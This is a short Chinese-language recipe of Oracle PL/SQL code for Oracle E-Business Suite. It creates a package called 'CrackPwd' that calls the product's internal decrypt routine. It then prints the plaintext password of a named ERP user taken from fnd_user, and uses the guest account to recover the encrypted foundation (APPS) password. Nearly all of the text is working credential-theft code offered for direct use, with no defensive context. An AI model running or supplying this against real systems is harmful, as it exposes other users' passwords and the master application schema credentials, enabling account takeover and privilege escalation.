1)先建立Package CREATE OR REPLACE PACKAGE APPS.CrackPwd AUTHID CURRENT_USER AS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2; END CrackPwd; / CREATE OR REPLACE PACKAGE BODY APPS.CrackPwd AS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; END CrackPwd; / 2)建立後可以直接執行下面SQL DECLARE v_encrypted_pwd VARCHAR2 (100); v_apps_pwd VARCHAR2 (100); v_user_pwd VARCHAR (100); BEGIN -- v_encrypted_pwd :='ZGF8C9616AD138A7F985E6316F55717D0F4EC37064A09A7F4DC67961E60A3880D8B00B3018595A4FB3E95B632AACC3376B61'; select ENCRYPTED_USER_PASSWORD into v_encrypted_pwd from fnd_user where user_name='GAOLEI'; -----ERP帳號 --get ENCRYPTED_USER_PASSWORD from fnd_user IF v_apps_pwd IS NULL THEN v_apps_pwd := 'APPSDEV3'; ------DB數據庫名字 END IF; v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd); DBMS_OUTPUT.put_line (v_user_pwd); END; 3)查詢數據庫名字(前提是要進入數據庫) SET SERVEROUTPUT ON DECLARE guestUserPwd VARCHAR2(200); guestUserName VARCHAR2(100); guestFndPwd VARCHAR2(100); guestEncFndPwd VARCHAR2(100); delim NUMBER; BEGIN guestUserPwd :='GUEST/ORACLE';--Can any user password IF guestUserPwd IS NULL THEN guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD')); END IF; DBMS_OUTPUT.put_line(guestUserPwd); delim := INSTR(guestUserPwd,'/'); guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1)); DBMS_OUTPUT.put_line(guestUserName); SELECT encrypted_foundation_password INTO guestEncFndPwd FROM fnd_user_view WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND (end_date IS NULL OR end_date > SYSDATE); guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd); IF NOT (guestFndPwd IS NULL) THEN DBMS_OUTPUT.put_line(guestFndPwd); END IF; END; |